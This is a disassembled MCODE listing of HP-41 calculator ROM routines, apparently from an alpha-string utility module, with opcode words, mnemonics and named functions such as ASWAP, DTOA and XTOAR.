0x038 ; C=REGN ( 0)T LB_AA55: .con 0x0D8 ; CGEX .con 0x0E0 ; SELQ .con 0x1D8 ; CMEX .con 0x0D8 ; CGEX .con 0x354 ; ?PT= 12 ; .con 0x01B ; GONC +03 LB_AA5D AA5D gonc LB_AA5D .con 0x23C ; RCR 2 ; .con 0x01B ; GONC +03 LB_AA5F AA5F gonc LB_AA5F LB_AA5D: .con 0x3DC ; INCPT .con 0x3DC ; INCPT LB_AA5F: .con 0x1D8 ; CMEX .con 0x1A6 ; A=A-1 S&X ; .con 0x11F ; GOC +23 LB_AA84 AA84 goc LB_AA84 .con 0x1BA ; A=A-1 M ; .con 0x10F ; GOC +21 LB_AA84 AA84 goc LB_AA84 .con 0x0A0 ; SELP .con 0x3DC ; INCPT .con 0x3DC ; INCPT .con 0x394 ; ?PT= 0 ; .con 0x36B ; GONC -13 LB_AA55 AA55 gonc LB_AA55 .con 0x0E6 ; BCEX S&X .con 0x226 ; C=C+1 S&X LB_AA6B: .con 0x270 ; DADD=C .con 0x0E6 ; BCEX S&X ; .con 0x33B ; GONC -19 LB_AA54 AA54 gonc LB_AA54 ;LB_AA6E: .con 0x0B3 ; GONC +16 LB_AA84 AA84 LB_AA6E: gonc LB_AA84 LB_AA6F: .con 0x038 ; C=REGN ( 0)T LB_AA70: .con 0x0D8 ; CGEX .con 0x0E0 ; SELQ .con 0x1D8 ; CMEX .con 0x37C ; RCR 12 .con 0x0D8 ; CGEX .con 0x1D8 ; CMEX .con 0x1A6 ; A=A-1 S&X ; .con 0x06F ; GOC +0D LB_AA84 AA84 goc LB_AA84 .con 0x1BA ; A=A-1 M ; .con 0x05F ; GOC +0B LB_AA84 AA84 goc LB_AA84 .con 0x0A0 ; SELP .con 0x3D4 ; DECPT .con 0x3D4 ; DECPT .con 0x354 ; ?PT= 12 ; .con 0x393 ; GONC -0E LB_AA70 AA70 gonc LB_AA70 .con 0x0E6 ; BCEX S&X .con 0x266 ; C=C-1 S&X LB_AA81: .con 0x270 ; DADD=C .con 0x0E6 ; BCEX S&X ; .con 0x363 ; GONC -14 LB_AA6F AA6F gonc LB_AA6F LB_AA84: .con 0x198 ; C=M .con 0x2DC ; PT= 13 .con 0x050 ; LC 1 .con 0x010 ; LC 0 .con 0x0EE ; BCEX ALL .con 0x3A9 ; GOLNC FILLXL 00EA ; HP41 SYSTEM ROM 0 .con 0x002 ; ;LB_AA8B: .con 0x379 ; GSB41C LB_A900 A900 ; GSUBNC 0FDE, address in same Quad LB_AA8B: RXQ LB_A900 ; .con 0x03C ; ; .con 0x100 ; .con 0x104 ; ST=0 8 .con 0x2EE ; ?C#0 ALL ; .con 0x183 ; GONC +30 LB_AAC0 AAC0 gonc LB_AAC0 .con 0x38E ; ASR ALL .con 0x1BE ; A=A-1 MS .con 0x09E ; B=A MS .con 0x1BE ; A=A-1 MS .con 0x04E ; C=0 ALL .con 0x158 ; M=C LB_AA97: .con 0x038 ; C=REGN ( 0)T .con 0x0D8 ; CGEX .con 0x046 ; C=0 S&X .con 0x0E0 ; SELQ .con 0x0D8 ; CGEX .con 0x106 ; A=C S&X .con 0x130 ; LDI 03A .con 0x03A ; .con 0x306 ; ?A<C S&X ; .con 0x0EB ; GONC +1D LB_AABD AABD gonc LB_AABD .con 0x042 ; C=0 @R .con 0x306 ; ?A<C S&X ; .con 0x0D7 ; GOC +1A LB_AABD AABD goc LB_AABD .con 0x108 ; ST=1 8 .con 0x2DE ; ?B#0 MS ; .con 0x023 ; GONC +04 LB_AAAA AAAA gonc LB_AAAA .con 0x342 ; ?A#0 @R ; .con 0x04B ; GONC +09 LB_AAB1 AAB1 gonc LB_AAB1 .con 0x3BE ; BSR MS LB_AAAA: .con 0x1BE ; A=A-1 MS .con 0x289 ; GOLC ERROF 00A2 ; HP41 SYSTEM ROM 0 .con 0x003 ; .con 0x1D8 ; CMEX .con 0x2FC ; RCR 13 .con 0x0A2 ; ACEX @R .con 0x1D8 ; CMEX LB_AAB1: .con 0x1BA ; A=A-1 M ; .con 0x06F ; GOC +0D LB_AABF AABF goc LB_AABF .con 0x0A0 ; SELP .con 0x3D4 ; DECPT .con 0x3D4 ; DECPT .con 0x354 ; ?PT= 12 ; .con 0x303 ; GONC -20 LB_AA97 AA97 gonc LB_AA97 .con 0x0E6 ; BCEX S&X .con 0x266 ; C=C-1 S&X .con 0x270 ; DADD=C .con 0x0E6 ; BCEX S&X ; .con 0x2DB ; GONC -25 LB_AA97 AA97 gonc LB_AA97 LB_AABD: .con 0x10C ; ST=1? 8 ; .con 0x39B ; GONC -0D LB_AAB1 AAB1 gonc LB_AAB1 LB_AABF: .con 0x198 ; C=M LB_AAC0: .con 0x10E ; A=C ALL .con 0x2EE ; ?C#0 ALL ; .con 0x063 ; GONC +0C LB_AACE AACE gonc LB_AACE .con 0x130 ; LDI 013 .con 0x013 ; .con 0x2A0 ; SETDEC ; .con 0x01B ; GONC +03 LB_AAC9 AAC9 gonc LB_AAC9 LB_AAC7: .con 0x3EE ; ASL ALL .con 0x266 ; C=C-1 S&X LB_AAC9: .con 0x35E ; ?A#0 MS ; .con 0x3EB ; GONC -03 LB_AAC7 AAC7 gonc LB_AAC7 .con 0x260 ; SETHEX LB_AACC: .con 0x38E ; ASR ALL .con 0x106 ; A=C S&X LB_AACE: .con 0x08E ; B=A ALL .con 0x3E0 ; RTN .con 0x090 ; .con 0x001 ; .con 0x017 ; .con 0x013 ; .NAME "ASWAP" ASWAP: .con 0x0F8 ; C=REGN ( 3)X .con 0x128 ; REGN=C ( 4)L .con 0x04E ; C=0 ALL .con 0x35C ; PT= 12 .con 0x110 ; LC 4 .con 0x110 ; LC 4 .con 0x130 ; LDI 001 .con 0x001 ; .con 0x0E8 ; REGN=C ( 3)X ; .con 0x3B5 ; GSB41C XTOAR AC91 ; GSUBNC 23ED, address in 4th Quad RXQ XTOAR ; .con 0x08C ; ; .con 0x091 ; ; .con 0x36D ; GSB41C POSAX A796 ; GSUBNC 23DB, address in 2nd Quad RXQ POSAX ; .con 0x08C ; ; .con 0x396 ; .con 0x0F8 ; C=REGN ( 3)X .con 0x2A0 ; SETDEC .con 0x10E ; A=C ALL .con 0x04E ; C=0 ALL .con 0x35C ; PT= 12 .con 0x222 ; C=C+1 @R .con 0x01D ; GSUBNC AD2-10 1807 ; HP41 SYSTEM ROM 1 .con 0x060 ; .con 0x0E8 ; REGN=C ( 3)X .con 0x260 ; SETHEX ; .con 0x36D ; GSB41C AROTX A764 ; GSUBNC 23DB, address in 2nd Quad RXQ AROTX ; .con 0x08C ; ; .con 0x364 ; ; .con 0x349 ; GSB41C RADEL A282 ; GSUBNC 23D2, address in 1st Quad RXQ RADEL ; .con 0x08C ; ; .con 0x282 ; .con 0x138 ; C=REGN ( 4)L .con 0x331 ; GOLNC NFRX 00CC ; HP41 SYSTEM ROM 0 .con 0x002 ; .con 0x000 ; NOP .con 0x000 ; NOP .con 0x081 ; .con 0x00F ; .con 0x014 ; .NAME "DTOA" DTOA: .con 0x345 ; GSUBNC CLA 10D1 ; HP41 SYSTEM ROM 1 .con 0x040 ; LB_AAFF: .con 0x3D9 ; GSUBNC ENLCD 07F6 ; HP41 SYSTEM ROM 0 .con 0x01C ; .con 0x130 ; LDI 020 .con 0x020 ; .con 0x106 ; A=C S&X .con 0x3F8 ; C=REGN (15)e .con 0x366 ; ?A#C S&X ; .con 0x0CB ; GONC +19 LB_AB1F AB1F gonc LB_AB1F .con 0x0AE ; ACEX ALL .con 0x130 ; LDI 100 .con 0x100 ; .con 0x306 ; ?A<C S&X ; .con 0x02F ; GOC +05 LB_AB10 AB10 goc LB_AB10 .con 0x130 ; LDI 0A0 .con 0x0A0 ; .con 0x1C6 ; A=A-C S&X ; .con 0x043 ; GONC +08 LB_AB17 AB17 gonc LB_AB17 LB_AB10: .con 0x130 ; LDI 01A .con 0x01A ; .con 0x306 ; ?A<C S&X ; .con 0x023 ; GONC +04 LB_AB17 AB17 gonc LB_AB17 .con 0x130 ; LDI 040 .con 0x040 ; .con 0x146 ; A=A+C S&X LB_AB17: .con 0x149 ; GSUBNC ENCP00 0952 ; HP41 SYSTEM ROM 0 .con 0x024 ; .con 0x0AE ; ACEX ALL .con 0x39C ; PT= 0 .con 0x058 ; G=C .con 0x051 ; GSUBNC APNDNW 2D14 ; HP41 SYSTEM ROM 2 .con 0x0B4 ; ; .con 0x30B ; GONC -1F LB_AAFF AAFF gonc LB_AAFF LB_AB1F: .con 0x3D9 ; GSUBNC CLRLCD 2CF6 ; HP41 SYSTEM ROM 2 .con 0x0B0 ; .con 0x261 ; GSUBNC RSTKB 0098 ; HP41 SYSTEM ROM 0 .con 0x000 ; .con 0x191 ; GOLNC XAVIEW 0364 ; HP41 SYSTEM ROM 0 .con 0x00E ; .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x0BF ; .con 0x011 ; .con 0x005 ; .con 0x018 ; .NAME "AXEQ?" AXEQ?: .con 0x34D ; GSUBNC SAVRTN 27D3 ; HP41 SYSTEM ROM 2 .con 0x09C ; ; .con 0x379 ; GSB41C LB_A900 A900 ; GSUBNC 0FDE, address in same Quad RXQ LB_A900 ; .con 0x03C ; ; .con 0x100 ; .con 0x2EE ; ?C#0 ALL ; .con 0x04B ; GONC +09 LB_AB47 AB47 gonc LB_AB47 ; .con 0x379 ; GSB41C LB_AB57 AB57 ; GSUBNC 0FDE, address in same Quad RXQ LB_AB57 ; .con 0x03C ; ; .con 0x357 ; .con 0x3C4 ; CLRST .con 0x315 ; GSUBNC ASRCH 26C5 ; HP41 SYSTEM ROM 2 .con 0x098 ; .con 0x070 ; N=C .con 0x2EE ; ?C#0 ALL LB_AB47: .con 0x0B9 ; GOLNC SKP 162E ; HP41 SYSTEM ROM 1 .con 0x05A ; .con 0x08C ; ST=1? 5 ; .con 0x3EF ; GOC -03 LB_AB47 AB47 goc LB_AB47 .con 0x24C ; ST=1? 9 ; .con 0x02B ; GONC +05 LB_AB51 AB51 gonc LB_AB51 .con 0x1BC ; RCR 11 .con 0x330 ; CXISA .con 0x2E6 ; ?C#0 S&X ; .con 0x3BB ; GONC -09 LB_AB47 AB47 gonc LB_AB47 ;LB_AB51: .con 0x379 ; GSB41C POSTSP A8ED ; GSUBNC 0FDE, address in same Quad LB_AB51: RXQ POSTSP ; .con 0x03C ; ; .con 0x0ED ; .con 0x0B0 ; C=N .con 0x2B5 ; GOLNC 24AD .con 0x092 ; LB_AB57: .con 0x04E ; C=0 ALL .con 0x158 ; M=C .con 0x0CE ; C=B ALL .con 0x130 ; LDI 206 .con 0x206 ; .con 0x33C ; RCR 1 .con 0x056 ; C=0 XS .con 0x10E ; A=C ALL LB_AB5F: .con 0x038 ; C=REGN ( 0)T .con 0x0D8 ; CGEX .con 0x0E0 ; SELQ .con 0x046 ; C=0 S&X .con 0x098 ; C=G .con 0x366 ; ?A#C S&X ; .con 0x09B ; GONC +13 LB_AB78 AB78 gonc LB_AB78 .con 0x1D8 ; CMEX .con 0x0D8 ; CGEX .con 0x23C ; RCR 2 .con 0x1D8 ; CMEX .con 0x1BA ; A=A-1 M ; .con 0x06F ; GOC +0D LB_AB78 AB78 goc LB_AB78 .con 0x1BE ; A=A-1 MS ; .con 0x05F ; GOC +0B LB_AB78 AB78 goc LB_AB78 .con 0x0A0 ; SELP .con 0x3D4 ; DECPT .con 0x3D4 ; DECPT .con 0x354 ; ?PT= 12 ; .con 0x36B ; GONC -13 LB_AB5F AB5F gonc LB_AB5F .con 0x0E6 ; BCEX S&X .con 0x266 ; C=C-1 S&X .con 0x270 ; DADD=C .con 0x0E6 ; BCEX S&X ; .con 0x343 ; GONC -18 LB_AB5F AB5F gonc LB_AB5F LB_AB78: .con 0x0A0 ; SELP .con 0x1D8 ; CMEX .con 0x2EE ; ?C#0 ALL .con 0x325 ; GSUBC RTJLBL 14C9 ; HP41 SYSTEM ROM 1 .con 0x051 ; .con 0x158 ; M=C .con 0x268 ; REGN=C ( 9)Q .con 0x3E0 ; RTN LB_AB80: .con 0x038 ; C=REGN ( 0)T .con 0x2EE ; ?C#0 ALL ; .con 0x027 ; GOC +04 LB_AB86 AB86 goc LB_AB86 ; .con 0x369 ; GOL41C LB_A8AB A8AB ; GSUBNC 0FDA, address in same Quad RGO LB_A8AB ; .con 0x03C ; ; .con 0x0AB ; LB_AB86: .con 0x006 ; A=0 S&X ; .con 0x379 ; GSB41C LB_A98D A98D ; GSUBNC 0FDE, address in same Quad RXQ LB_A98D ; .con 0x03C ; ; .con 0x18D ; ; .con 0x369 ; GOL41C LB_A94E A94E ; GSUBNC 0FDA, address in same Quad RGO LB_A94E ; .con 0x03C ; ; .con 0x14E ; .con 0x0BF ; .con 0x010 ; .con 0x013 ; .NAME "DSP?" DSP?: .con 0x3B8 ; C=REGN (14)d .con 0x0EE ; BCEX ALL .con 0x2A0 ; SETDEC LB_AB94: .con 0x04E ; C=0 ALL .con 0x228 ; REGN=C ( 8)P .con 0x1E8 ; REGN=C ( 7)O .con 0x01C ; PT= 3 .con 0x190 ; LC 6 .con 0x31C ; PT= 1 .con 0x0D0 ; LC 3 .con 0x10E ; A=C ALL .con 0x04E ; C=0 ALL LB_AB9D: .con 0x37C ; RCR 12 .con 0x0EE ; BCEX ALL .con 0x2FC ; RCR 13 .con 0x0EE ; BCEX ALL .con 0x2C2 ; ?B#0 @R ; .con 0x013 ; GONC +02 LB_ABA4 ABA4 gonc LB_ABA4 .con 0x308 ; ST=1 1 LB_ABA4: .con 0x30C ; ST=1? 1 ; .con 0x033 ; GONC +06 LB_ABAB ABAB gonc LB_ABAB .con 0x062 ; ABEX @R .con 0x206 ; C=A+C S&X .con 0x362 ; ?A#C @R ; .con 0x013 ; GONC +02 LB_ABAB ABAB gonc LB_ABAB .con 0x222 ; C=C+1 @R LB_ABAB: .con 0x1BA ; A=A-1 M ; .con 0x38B ; GONC -0F LB_AB9D AB9D gonc LB_AB9D .con 0x20C ; ST=1? 2 ; .con 0x027 ; GOC +04 LB_ABB2 ABB2 goc LB_ABB2 .con 0x208 ; ST=1 2 .con 0x1A8 ; REGN=C ( 6)N ; .con 0x31B ; GONC -1D LB_AB94 AB94 gonc LB_AB94 LB_ABB2: .con 0x30C ; ST=1? 1 ; .con 0x017 ; GOC +02 LB_ABB5 ABB5 goc LB_ABB5 .con 0x0A6 ; ACEX S&X LB_ABB5: .con 0x168 ; REGN=C ( 5)M .con 0x260 ; SETHEX .con 0x04E ; C=0 ALL .con 0x35C ; PT= 12 .con 0x110 ; LC 4 .con 0x0E8 ; REGN=C ( 3)X ; .con 0x36D ; GSB41C AROTX A764 ; GSUBNC 23DB, address in 2nd Quad RXQ AROTX ; .con 0x08C ; ; .con 0x364 ; ; .con 0x3B5 ; GSB41C LB_ADD2 ADD2 ; GSUBNC 23ED, address in 4th Quad RXQ LB_ADD2 ; .con 0x08C ; ; .con 0x1D2 ; .con 0x20C ; ST=1? 2 ; .con 0x01B ; GONC +03 LB_ABC5 ABC5 gonc LB_ABC5 .con 0x02E ; B=0 ALL ; .con 0x05B ; GONC +0B LB_ABCF ABCF gonc LB_ABCF LB_ABC5: .con 0x046 ; C=0 S&X .con 0x08D ; GSUBNC PTBYTA 2323 ; HP41 SYSTEM ROM 2 .con 0x08C ; .con 0x39C ; PT= 0 .con 0x098 ; C=G .con 0x056 ; C=0 XS .con 0x106 ; A=C S&X ; .con 0x3B5 ; GSB41C LB_AE10 AE10 ; GSUBNC 23ED, address in 4th Quad RXQ LB_AE10 ; .con 0x08C ; ; .con 0x210 ; LB_ABCF: .con 0x308 ; ST=1 1 .con 0x0B9 ; GSUBNC RCL 122E ; HP41 SYSTEM ROM 1 .con 0x048 ; .con 0x0F8 ; C=REGN ( 3)X .con 0x10E ; A=C ALL .con 0x04E ; C=0 ALL .con 0x35C ; PT= 12 .con 0x110 ; LC 4 .con 0x210 ; LC 8 .con 0x130 ; LDI 001 .con 0x001 ; .con 0x2BE ; C=-C-1 MS .con 0x2A0 ; SETDEC .con 0x01D ; GSUBNC AD2-10 1807 ; HP41 SYSTEM ROM 1 .con 0x060 ; .con 0x0E8 ; REGN=C ( 3)X .con 0x260 ; SETHEX .con 0x3E0 ; RTN .con 0x000 ; NOP .con 0x000 ; NOP LB_ABE3: .con 0x04E ; C=0 ALL .con 0x3E6 ; ASL S&X .con 0x0B6 ; ACEX XS .con 0x386 ; ASR S&X .con 0x23C ; RCR 2 .con 0x2A0 ; SETDEC .con 0x166 ; A=A+1 S&X .con 0x1A6 ; A=A-1 S&X .con 0x226 ; C=C+1 S&X .con 0x266 ; C=C-1 S&X .con 0x1E6 ; C=C+C S&X .con 0x1E6 ; C=C+C S&X .con 0x1E6 ; C=C+C S&X .con 0x1E6 ; C=C+C S&X .con 0x206 ; C=A+C S&X .con 0x260 ; SETHEX .con 0x106 ; A=C S&X .con 0x03C ; RCR 3 .con 0x2FE ; ?C#0 MS ; .con 0x023 ; GONC +04 LB_ABFA ABFA gonc LB_ABFA .con 0x33C ; RCR 1 .con 0x226 ; C=C+1 S&X ; .con 0x02B ; GONC +05 LB_ABFE ABFE gonc LB_ABFE LB_ABFA: .con 0x2FC ; RCR 13 .con 0x2FE ; ?C#0 MS .con 0x3A0 ; RTNNC .con 0x33C ; RCR 1 LB_ABFE: .con 0x226 ; C=C+1 S&X .con 0x3E0 ; RTN .con 0x046 ; C=0 S&X .AD=C .con 0x270 ; DADD=C .con 0x238 ; C=REGN ( 8)P .con 0x17C ; RCR 6 .con 0x29C ; PT= 7 .con 0x04A ; C=0 R<- .con 0x13C ; RCR 8 .con 0x228 ; REGN=C ( 8)P .con 0x10E ; A=C ALL .con 0x1F8 ; C=REGN ( 7)O .con 0x370 ; C=CORA .con 0x10E ; A=C ALL .con 0x1B8 ; C=REGN ( 6)N .con 0x370 ; C=CORA .con 0x10E ; A=C ALL .con 0x178 ; C=REGN ( 5)M .con 0x19C ; PT= 11 .con 0x04A ; C=0 R<- .con 0x370 ; C=CORA .con 0x10E ; A=C ALL .con 0x178 ; C=REGN ( 5)M .con 0x0AE ; ACEX ALL .con 0x3E0 ; RTN .con 0x090 ; .con 0x009 ; .con 0x003 ; .con 0x212 ; .NAME "ARCIP" ARCIP: .con 0x088 ; ST=1 5 ; .con 0x03B ; GONC +07 LB_AC25 AC25 gonc LB_AC25 .con 0x087 ; .con 0x012 ; .con 0x03E ; .con 0x23C ; .NAME "A<>RG" A<>RG: .con 0x084 ; ST=0 5 LB_AC25: .con 0x04C ; ST=1? 4 ; .con 0x01F ; GOC +03 LB_AC29 AC29 goc LB_AC29 .con 0x2CC ; ST=1? 13 ; .con 0x023 ; GONC +04 LB_AC2C AC2C gonc LB_AC2C ;LB_AC29: .con 0x379 ; GSB41C LB_AD7C AD7C ; GSUBNC 0FDE, address in same Quad LB_AC29: RXQ LB_AD7C ; .con 0x03C ; ; .con 0x17C ; ;LB_AC2C: .con 0x379 ; GSB41C LB_ADA4 ADA4 ; GSUBNC 0FDE, address in same Quad LB_AC2C: RXQ LB_ADA4 ; .con 0x03C ; ; .con 0x1A4 ; .con 0x08C ; ST=1? 5 ; .con 0x10B ; GONC +21 LB_AC51 AC51 gonc LB_AC51 .con 0x0AE ; ACEX ALL .con 0x270 ; DADD=C .con 0x038 ; C=REGN ( 0)T .con 0x10E ; A=C ALL .con 0x04E ; C=0 ALL .con 0x270 ; DADD=C .con 0x0AE ; ACEX ALL .con 0x070 ; N=C .con 0x361 ; GSUBNC CHK$S 14D8 ; HP41 SYSTEM ROM 1 .con 0x050 ; .con 0x1DD ; GSUBNC INT 1177 ; HP41 SYSTEM ROM 1 .con 0x044 ; .con 0x0EE ; BCEX ALL .con 0x3B8 ; C=REGN (14)d .con 0x070 ; N=C .con 0x05C ; PT= 4 .con 0x010 ; LC 0 .con 0x210 ; LC 8 .con 0x15C ; PT= 6 .con 0x010 ; LC 0 .con 0x3A8 ; REGN=C (14)d .con 0x0A1 ; GSUBNC AFORMT 0628 ; HP41 SYSTEM ROM 0 .con 0x018 ; .con 0x0B0 ; C=N .con 0x3A8 ; REGN=C (14)d .con 0x3E0 ; RTN .con 0x39C ; PT= 0 .con 0x130 ; LDI 005 .con 0x005 ; .con 0x0A6 ; ACEX S&X LB_AC4F: .con 0x270 ; DADD=C .con 0x0E6 ; BCEX S&X LB_AC51: .con 0x038 ; C=REGN ( 0)T .con 0x070 ; N=C .con 0x0AE ; ACEX ALL .con 0x270 ; DADD=C .con 0x0AE ; ACEX ALL .con 0x038 ; C=REGN ( 0)T .con 0x0F0 ; CNEX .con 0x2F0 ; DATA=C .con 0x166 ; A=A+1 S&X .con 0x0E6 ; BCEX S&X .con 0x270 ; DADD=C .con 0x226 ; C=C+1 S&X .con 0x0E6 ; BCEX S&X .con 0x0F0 ; CNEX .con 0x2F0 ; DATA=C .con 0x0E6 ; BCEX S&X .con 0x3DC ; INCPT .con 0x054 ; ?PT= 4 .con 0x360 ; RTNC ; .con 0x35B ; GONC -15 LB_AC4F AC4F gonc LB_AC4F .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x08D ; .con 0x00F ; .con 0x012 ; .con 0x020 ; .con 0x001 ; .con 0x008 ; .con 0x010 ; .con 0x00C ; .con 0x001 ; .NAME "-ALPHA ;-ALPHA_ROM:.con 0x36D ; GSB41C LB_A50B A50B ; GSUBNC 23DB, address in 2nd Quad -ALPHA_ROM:RXQ LB_A50B ; .con 0x08C ; ; .con 0x10B ; .con 0x012 ; A=0 P-Q .con 0x005 ; GOLNC XEQ50 2501 ; HP41 SYSTEM ROM 2 .con 0x096 ; .con 0x020 ; SPOPND .con 0x032 ; B=0 P-Q .con 0x02D ; GSUBC 000B .con 0x001 ; .con 0x00C ; ST=1? 3 .con 0x010 ; LC 0 .con 0x008 ; ST=1 3 .con 0x201 ; GSUBC F780 .con 0x3DD ; .con 0x0AC ; FLG=1? 5 ; ?EDAV, HP82242 IR led .con 0x108 ; ST=1 8 .con 0x201 ; GOLNC MSG105 1C80 ; HP41 SYSTEM ROM 1 .con 0x072 ; .con 0x092 ; .con 0x001 ; .con 0x00F ; .con 0x014 ; .NAME "XTOAR" ;XTOAR: .con 0x391 ; GSB41C LB_A800 A800 ; GSUBNC 23E4, address in 3rd Quad XTOAR: RXQ LB_A800 ; .con 0x08C ; ; .con 0x000 ; .con 0x0EE ; BCEX ALL .con 0x0F8 ; C=REGN ( 3)X .con 0x2EE ; ?C#0 ALL .con 0x3D5 ; GOLNC APND10 1FF5 ; HP41 SYSTEM ROM 1 .con 0x07E ; .con 0x0A0 ; SELP .con 0x35C ; PT= 12 LB_AC9B: .con 0x0CE ; C=B ALL .con 0x058 ; G=C .con 0x0E0 ; SELQ .con 0x2DC ; PT= 13 .con 0x2F2 ; ?C#0 P-Q .con 0x051 ; GSUBC APNDNW 2D14 ; HP41 SYSTEM ROM 2 .con 0x0B5 ; .con 0x0A0 ; SELP .con 0x3D4 ; DECPT .con 0x3D4 ; DECPT .con 0x354 ; ?PT= 12 ; .con 0x3AB ; GONC -0B LB_AC9B AC9B gonc LB_AC9B .con 0x3E0 ; RTN .con 0x01C ; PT= 3 .con 0x046 ; C=0 S&X .con 0x270 ; DADD=C .con 0x238 ; C=REGN ( 8)P .con 0x17C ; RCR 6 .con 0x0AA ; ACEX R<- .con 0x13C ; RCR 8 .con 0x228 ; REGN=C ( 8)P .con 0x0CE ; C=B ALL .con 0x3E0 ; RTN .con 0x0BF ; .con 0x001 ; .con 0x00C ; .NAME "CLA?" CLA?: .con 0x3E9 ; GSUBNC GSB768 23FA ; HP41 SYSTEM ROM 2 .con 0x08C ; .con 0x370 ; C=CORA .con 0x00E ; A=0 ALL .con 0x05D ; GOLNC XYY 1617 ; HP41 SYSTEM ROM 1 .con 0x05A ; LB_ACBC: .con 0x036 ; B=0 XS .con 0x066 ; ABEX S&X .con 0x04E ; C=0 ALL .con 0x25C ; PT= 9 .con 0x2A0 ; SETDEC LB_ACC1: .con 0x1FA ; C=C+C M .con 0x1FA ; C=C+C M .con 0x1FA ; C=C+C M .con 0x1FA ; C=C+C M .con 0x01A ; A=0 M .con 0x3EE ; ASL ALL .con 0x17A ; A=A+1 M .con 0x1BA ; A=A-1 M .con 0x21A ; C=A+C M .con 0x3DC ; INCPT .con 0x354 ; ?PT= 12 ; .con 0x3AB ; GONC -0B LB_ACC1 ACC1 gonc LB_ACC1 .con 0x260 ; SETHEX .con 0x2EE ; ?C#0 ALL .con 0x3A0 ; RTNNC .con 0x130 ; LDI 009 .con 0x009 ; LB_ACD2: .con 0x2E2 ; ?C#0 @R .con 0x360 ; RTNC .con 0x266 ; C=C-1 S&X .con 0x2FC ; RCR 13 .con 0x3C6 ; CSR S&X ; .con 0x3DB ; GONC -05 LB_ACD2 ACD2 gonc LB_ACD2 LB_ACD8: .con 0x04E ; C=0 ALL .con 0x270 ; DADD=C .con 0x0B8 ; C=REGN ( 2)Y ; .con 0x023 ; GONC +04 LB_ACDF ACDF gonc LB_ACDF LB_ACDC: .con 0x04E ; C=0 ALL .con 0x270 ; DADD=C .con 0x0F8 ; C=REGN ( 3)X LB_ACDF: .con 0x27E ; C=C-1 MS .con 0x2FE ; ?C#0 MS .con 0x389 ; GOLNC ERRAD 14E2 ; HP41 SYSTEM ROM 1 .con 0x052 ; .con 0x05E ; C=0 MS .con 0x2F6 ; ?C#0 XS ; .con 0x01B ; GONC +03 LB_ACE8 ACE8 gonc LB_ACE8 .con 0x046 ; C=0 S&X .con 0x3E0 ; RTN LB_ACE8: .con 0x066 ; ABEX S&X .con 0x0A6 ; ACEX S&X .con 0x130 ; LDI 003 .con 0x003 ; .con 0x306 ; ?A<C S&X .con 0x0B5 ; GOLNC ERRDE 282D ; HP41 SYSTEM ROM 2 .con 0x0A2 ; .con 0x046 ; C=0 S&X LB_ACF0: .con 0x1A6 ; A=A-1 S&X ; .con 0x01F ; GOC +03 LB_ACF4 ACF4 goc LB_ACF4 .con 0x2FC ; RCR 13 ; .con 0x3EB ; GONC -03 LB_ACF0 ACF0 gonc LB_ACF0 LB_ACF4: .con 0x260 ; SETHEX .con 0x1E6 ; C=C+C S&X .con 0x106 ; A=C S&X .con 0x1E6 ; C=C+C S&X .con 0x1E6 ; C=C+C S&X .con 0x146 ; A=A+C S&X .con 0x046 ; C=0 S&X .con 0x2FC ; RCR 13 .con 0x206 ; C=A+C S&X .con 0x1E6 ; C=C+C S&X .con 0x106 ; A=C S&X .con 0x1E6 ; C=C+C S&X .con 0x1E6 ; C=C+C S&X .con 0x146 ; A=A+C S&X .con 0x046 ; C=0 S&X .con 0x2FC ; RCR 13 .con 0x206 ; C=A+C S&X .con 0x066 ; ABEX S&X .con 0x3E0 ; RTN LB_AD07: .con 0x284 ; ST=0 7 ; .con 0x04B ; GONC +09 LB_AD11 AD11 gonc LB_AD11 LB_AD09: .con 0x130 ; LDI 008 .con 0x008 ; .con 0x01C ; PT= 3 .con 0x190 ; LC 6 .con 0x01C ; PT= 3 .con 0x0AA ; ACEX R<- .con 0x248 ; ST=1 9 .con 0x288 ; ST=1 7 LB_AD11: .con 0x108 ; ST=1 8 LB_AD12: .con 0x359 ; GSUBNC INCADA 29D6 ; HP41 SYSTEM ROM 2 .con 0x0A4 ; .con 0x130 ; LDI 005 .con 0x005 ; .con 0x306 ; ?A<C S&X .con 0x360 ; RTNC .con 0x2ED ; GSUBNC GTBYTA 29BB ; HP41 SYSTEM ROM 2 .con 0x0A4 ; .con 0x28C ; ST=1? 7 ; .con 0x023 ; GONC +04 LB_AD1F AD1F gonc LB_AD1F .con 0x056 ; C=0 XS .con 0x2E6 ; ?C#0 S&X ; .con 0x01B ; GONC +03 LB_AD21 AD21 gonc LB_AD21 LB_AD1F: .con 0x104 ; ST=0 8 .con 0x3E0 ; RTN LB_AD21: .con 0x244 ; ST=0 9 ; .con 0x383 ; GONC -10 LB_AD12 AD12 gonc LB_AD12 ;LB_AD23: .con 0x379 ; GSB41C LB_AD09 AD09 ; GSUBNC 0FDE, address in same Quad LB_AD23: RXQ LB_AD09 ; .con 0x03C ; ; .con 0x109 ; LB_AD26: .con 0x10C ; ST=1? 8 .con 0x360 ; RTNC .con 0x066 ; ABEX S&X .con 0x1A6 ; A=A-1 S&X .con 0x066 ; ABEX S&X .con 0x2C6 ; ?B#0 S&X .con 0x3A0 ; RTNNC .con 0x244 ; ST=0 9 ; .con 0x379 ; GSB41C LB_AD07 AD07 ; GSUBNC 0FDE, address in same Quad RXQ LB_AD07 ; .con 0x03C ; ; .con 0x107 ; ; .con 0x3AB ; GONC -0B LB_AD26 AD26 gonc LB_AD26 LB_AD32: .con 0x04E ; C=0 ALL .con 0x01C ; PT= 3 .con 0x130 ; LDI 005 .con 0x005 ; .con 0x0AE ; ACEX ALL LB_AD37: .con 0x2ED ; GSUBNC GTBYTA 29BB ; HP41 SYSTEM ROM 2 .con 0x0A4 ; .con 0x066 ; ABEX S&X .con 0x1A6 ; A=A-1 S&X .con 0x066 ; ABEX S&X .con 0x2C6 ; ?B#0 S&X .con 0x3A0 ; RTNNC .con 0x329 ; GSUBNC DECADA 29CA ; HP41 SYSTEM ROM 2 .con 0x0A4 ; ; .con 0x3BB ; GONC -09 LB_AD37 AD37 gonc LB_AD37 .con 0x098 ; .con 0x00F ; .con 0x014 ; 